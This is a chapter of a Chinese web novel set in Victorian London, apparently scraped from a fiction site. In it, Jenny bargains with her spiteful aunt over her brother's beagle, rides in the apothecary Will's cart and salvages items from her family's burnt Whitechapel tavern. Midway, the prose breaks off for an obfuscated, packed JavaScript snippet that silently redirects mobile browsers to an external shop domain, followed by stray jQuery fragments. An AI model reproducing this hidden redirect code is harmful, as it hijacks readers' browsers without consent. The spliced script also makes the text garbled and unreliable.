文趣网 > 其他小说 > 十九世纪小酒馆 > 9. 009
    珍妮刚出了房间,紧跟着一个妇人跋扈的声音也响了起来。

    那正是塔比莎婶婶,一眼就能认出来,毕竟脖子上系着块扎眼的血红色大方巾、头顶插着孔雀羽毛般的廉价帽子,双手叉腰,唾沫横飞的形象,实在难以让人忽视。

    “好你个不要脸的小子,敢欺负我家的凯拉?”塔比莎婶婶怒瞪着里昂,另一只手护着凯拉,说,“当时看来把你跟你妹妹送进救济院是对的,你这个小白眼狼,就是欠管教!”

    旁边一条比格犬叫的越来越凶。

    说着,塔比莎就要对里昂挥过去一巴掌,但巴掌却停在半空,珍妮已经护在了里昂身前。

    “塔比莎婶婶,我的弟弟是做错了什么事情吗?”珍妮说。

    塔比莎看到珍妮先是一愣,还以为大白天见鬼了,回过神,用力抽回手,说:“珍妮?你怎么,算了谁关心,肯定是不守妇道被赶回来了,告诉你,这里可没有你们的地方——哎呦!”

    里昂突然发怒,双手用力一推推去了塔比莎婶婶。让她惊呼一声,当场坐在了地上。

    “里昂。”珍妮赶快拉过来里昂,怕麻烦惹起来。

    “老妖妇,不准你这么说我姐姐,不然我会杀了你。”里昂一脸凶狠。

    “我的上帝啊,竟然敢如此对你们的长辈大不敬,上帝啊惩罚他们吧。”塔比莎婶婶嚷嚷起来,混着这里比格犬的犬吠声,顿时乱糟糟起来。

    珍妮护过来里昂,先冷静地说:“怎么回事?里昂,跟姐姐说清楚。”

    无权无势在维多利亚时代很容易受到欺负,珍妮怕里昂这种举动,要真被要追责起来,会很危险。

    “这是我养的猎犬,我要带回去。我要带斑点回去。”里昂指着旁边的一只比格犬,说。

    珍妮记得它,当年她嫁人时,这只比格犬还是只幼犬,是父亲送给里昂的,他十分疼爱。

    “让你们带回去?呵呵。”塔比莎婶婶冷笑,已经爬起身拍拍尘土喊,“它在这里吃了多少顿饭?吃我们的,喝我们的,怎么可能会便宜让你们给带回去!想带回去啊,就给我付钱。”

    “你的脚底板长钉子了?愣着干嘛,还不快去把猎枪拿来!蠢货!”塔比莎婶婶,对刚前脚迈出门的詹姆斯叔叔喊,“我看你们谁敢带走这条狗!”

    “斑点是我的,我的!”里昂已经有了哭腔。

    珍妮先让他冷静地拍拍肩膀,转头对塔比莎说:“好,多少钱?”

    “5英镑!一分都不能少。”塔比莎说。

    “5英镑?”珍妮皱了皱眉。

    猎犬是中产阶级才能买的起的,正常市场价已经足够贵了,要1英镑到2英镑,但再贵也不可能卖到5英镑。

    要知道,5英镑相当于一个仆人半年的优渥工钱,这对珍妮来说实在是一笔大钱,显然塔比莎婶婶是故意的。

    “怎么,付不起?付不起就滚出去。不然。”塔比莎对詹姆斯使了个眼神,詹姆斯已经把猎枪架了起来。

    “我会买下斑点,只是还请给我一些时间。”珍妮拦下冲动的里昂,对塔比莎说,“还请在那之前照顾好斑点,可以吗?”

    “好啊,不过我可不会等太久。这条狗谁知道还能养活多久呢。”塔比莎露出坏笑。

    “我明白了。我们走,里昂。”珍妮拉着里昂的手,朝着外面走去。

    尽管里昂还是在哭喊着斑点,但珍妮始终冷静安慰着,直到走到门口。

    珍妮转过身,看去塔比莎和詹姆斯,说:“叔叔婶婶,父亲经常告诉我,若别人给我一个面包,我将报答两个,别人打我一拳,我便打回去两拳,无论是把我弟弟妹妹送去救济院,还是今日的事,我都记住了。”

    塔比莎本想冷笑,却见珍妮的眼神冷的不像她,又听珍妮说:“还有,如果斑点出了什么事,我定不会原谅叔叔婶婶。”

    珍妮最后看去了塔比莎,“那么,就告辞了。”

    塔比莎那一瞬间,竟也没有回嘴。

    看着珍妮和里昂走出了门的身影,詹姆斯不自觉地咽了咽唾沫,走到塔比莎身边说:“珍妮,看起来不太一样了……我说,要不还是把这条狗给他们好了?”

    “说什么话!不过是个穷酸姑娘罢了,没有她父母在身后撑腰,能有什么能耐?”塔比莎想刚才还是生气,瞥詹姆斯一眼,换下沾满泥巴的靴子,扔给丈夫,“就她,甭想从我们这里捞一点好处。去,还不快去用鞋油和硬毛刷立刻擦干净。”

    到了街上,珍妮为里昂擦去眼眶的泪水,摸摸他说:“里昂,别担心,我保证会带回斑点的。”

    里昂握着拳头:“这是父亲……父亲送给我的……斑点是我的。”

    “嗯。”珍妮眼眶也微微湿润,轻轻拥抱了他低声说,“我知道。我们会带回斑点的。”

    里昂轻轻点头。

    而后珍妮慢慢地松开里昂的肩膀,弯眼一笑:“现在我们一起先去酒馆那里看看,怎么样?”

    小酒馆位于白教堂高街的附近,珍妮想着从斯皮塔佛德广场出发,算不算远,要不要坐公共马车,要坐的话需要花费1便士左右,但现在精打细算之下,珍妮尽可能避免支出。

    她这么想着没注意到路,猛然回神,就听到了马车声,她吓到地往边上一躲,那马车也刚好被马夫拉起了缰绳。

    “抱歉。”珍妮正说着,看到这辆两轮运货轻马车上,马夫旁边坐着一个熟悉的身影,是那位年轻的药剂师,威尔先生。

    威尔休斯顿显然也认出了珍妮和她的弟弟里昂,下了马车,走近两步说:“珍妮小姐,你们两个没事吧?”

    原来威尔是来斯皮塔佛德广场的市场,采购一些药材,挑选散装的干燥草药、蜂蜡和用于制作软膏的油脂。他没想到会在这里碰到珍妮,问了问,得知珍妮是要去白教堂附近。

    威尔:“刚好碰巧,珍妮小姐,不嫌弃的话,你和你的弟弟也一起上来吧?我正好也去那里,给位老主顾送药。”

    珍妮正愁着怎么过去。也就没客气,自当感激一句。

    威尔用手摸了摸自己的黄金卷毛,也不知道这个行为是习惯还是有什么意味,走去马车后面,说,“这马车比较小,还有货物,还请只能挤挤了。”

    他首先把前面和马夫一起的座位,给了里昂,那里最好、最安全,里昂年岁不大,他应该是顾及他身子虚弱。

    然后,他和珍妮两人并排坐在货厢里的药材箱上。

    维多利亚时代的白教堂高街地势不平,两轮车容易颠簸。

    好在货厢虽然简陋,但有四周的木板围挡,对女性而言更具隐私和安全感。

    里昂对马车和赶车非常兴奋,在前面和马夫叽叽喳喳。

    后方货厢里,珍妮和威尔并排坐在一堆散发着干草、薄荷与洋甘菊香气的药材包之间。

    每当马车经过街的转角发生颠簸,威尔都会礼貌而克制地伸手护住女主的肩膀或扶手,低声致歉。

    两人在狭小的货厢里距离拉近,阳光透过伦敦的薄雾照在药材上,珍妮看到威尔又用手抓了抓一头黄金卷发,看着软软的,珍妮忽而也有着想摸的冲动。

    “对了,说起来。”珍妮双眼弯弯,说,“休斯顿先生,你与我小时候在这里一起玩耍过,对吗?实在抱歉,多年未见,我当时见到你没有想起。”

    “不会,珍妮小姐没有错。我并不总给人留下深刻的印象,会忘记也很正常。”威尔说。

    “并没有完全忘记哦。”珍妮看去他。

    原主记忆里,有个一头金卷毛的细瘦男孩,只是与眼前的男人有些不同,所以珍妮才没有立刻认出他。所以,她说:“只是你长大了,变得和以前特别是小时候有所不同了,威尔。”

    被忽然改口叫了名字,威尔手指捏着卷发没放愣了一下,也看珍妮一眼,说:“你也……很有所不同了,与当时相比。”

    而后他想到什么,似乎想要说什么,但欲言又止。

    也许是想问她为什么回伦敦,毕竟他知道她那年嫁去了曼彻斯顿,可随着马车渐渐的到了白教堂,他也没有问出口。

    “感谢捎我和弟弟一程,威尔先生。”下了马车后,珍妮挥了挥手。

    威尔示意了一下,就让马车乘车离去了。现在珍妮已经到了白教堂高街。

    她看去周围,高街上挤满了推着木板车的小贩,还有悬挂着各色招牌的店铺。

    街两边开满了肉铺、服装店、五金店、鞋匠铺、当铺,餐饮还有咖啡馆、出售鳗鱼冻和炸鱼的廉价小吃店,甚至还小剧院和音乐厅。

    白教堂高街连接着富裕的伦敦城和贫困的东区。

    它是所有从埃塞克斯等东部郊区进入伦敦的大型马车、货运车的必经之路。

    每天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611543|205947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有数以万计的通勤者、小贩、采购商流经此地。

    可以说,白教堂高街,就是不折不扣的东区最繁华的商业街。

    对于珍妮现代人来说,白教堂则有两个有名的点,一开膛手杰克,二白鹿酒馆。

    开膛手杰克自然不用多说,他的传说无人不晓无人不知。

    白教堂高街89号的白鹿酒馆,存在时间跨越了三个世纪,起初它是一家为白教堂高街上的马车、长途旅客以及当地手工匠人提供歇脚处的传统驿站酒馆,后来进行了大规模的重新翻修与扩建。

    说到白鹿酒馆有两个神奇之处,第一据说当年的开膛手杰克最大的嫌疑人波兰裔移民乔治·查普曼,曾在该酒馆的地下室经营一家理发店。

    第二是,白鹿酒馆在二十一世纪的现代,仍然存在营业着。

    如此有名的酒馆,就在主街吸引着客流。

    而珍妮的小酒馆,则从主街右侧,深入狭窄的小巷,往里走大概二十几步才到。

    远离繁华不说,烧毁大半的小酒馆如今景象也很不堪。

    残存的砖墙被雨水冲刷得斑驳,原先熏黑的碳迹已变成暗灰色。

    屋顶彻底坍塌,露天处长满了顽强的蒲公英、马齿苋和苔藓。

    要说无论哪个时代,人们都很会利用空间。

    这里也成了邻里的公共场所,废墟的断壁间拉起了绳子,挂满粗布衣服。

    几只巨大的旧木桶被倒扣在地上,似乎有过街坊在这里歇脚、打牌的临时桌椅。

    小巷依旧狭窄嘈杂。

    巷口有小贩推着车叫卖水煮鳗鱼或烤土豆,水汽腾腾。

    两个妇人穿着洗得褪色的围裙,提着水桶经过时,很好奇地盯着珍妮看,估计在想是否之前见过如此的大闺女。

    珍妮提起层层叠叠的维多利亚式旧长裙,弯腰穿过那道挂着“闲人免进”半截木牌、早已变形的焦黑大门。

    她伸出戴着洗得发白手套的手,轻轻地拂去一处残存窗台上的积灰,感叹一句:“果然是烧的不成样子了,要重建的话,看来会很麻烦。”

    “都是那个酒鬼惹的祸。”里昂踢了一下松动的红砖,说,“要我说,就该让他们赔偿才是!这明明是父亲最喜欢的地方。”

    “往好了想,至少没有全部被烧毁。”珍妮回头冲里昂一笑。

    她想保持积极心态的,毕竟是姐姐。

    她挽起袖子,在废墟里刨出一个完好的小型铸铁炉,擦了两下,嘴角一扬:“或许还能用……”

    “里昂,找找看,能用的都物尽其用吧。”珍妮说着,也在酒馆里走来走去。

    里昂很快发现了一辆木制手推车,有些部分烧的发黑,不过还能用,铸铁的车轮和车轴在火灾中完好幸存。这手推车原本是用来搬运沉重啤酒桶的,珍妮一看到它,脑海里就有了个主意。

    摆摊的话。这小推车,完全可以用来当作流动贩卖车。

    珍妮又找了找,还发现了一些炻器与陶罐。炻器瓶体厚实、不透光且内部毛孔少,非常适合隔绝空气与光线。

    它被广泛用于发酵泡菜、腌制肉类、存放黄油和猪油,当然还有啤酒。

    打开一个炻器,珍妮就闻到了一股酒味,不过里面剩的不多。

    “这里也有。”里昂也继而找到了一件黄铜天平,而且足够幸运的发现了一锡盒的肉桂、丁香或干薄荷的天然香料。

    收获还算不错。珍妮看着这些东西,实在是万幸,这些东西足以她摆摊了,能省去很多摆摊的准备费用,与里昂一起把炉子和其它杂物,都放在了手推车上,准备带着它们回去。

    两人走出烧毁的酒馆,珍妮回头看去。

    她当然也有过去酒馆的回忆,那时的父亲一回国,就会亲自来这里营业,那时候,珍妮看到父亲与客人们谈笑风生时,总觉得在这里的父亲的笑容最为开心。

    “父亲,我不会辜负沃克家族的名誉的。我向你保证,会让酒馆重新开张的。”珍妮说。

    此时,白教堂区铅灰色的天空正渐渐沉下来。

    夕阳像是一团被揉碎了的暗金,穿透了伦敦特有的、混杂着煤烟的浓雾,化作无数道昏黄的光束,斜斜地钉进没有屋顶的酒馆内部。

    她知道这不是最后一次看到它,转身,就与里昂一起推着手推车离去了。

    接下来,就是摆摊了。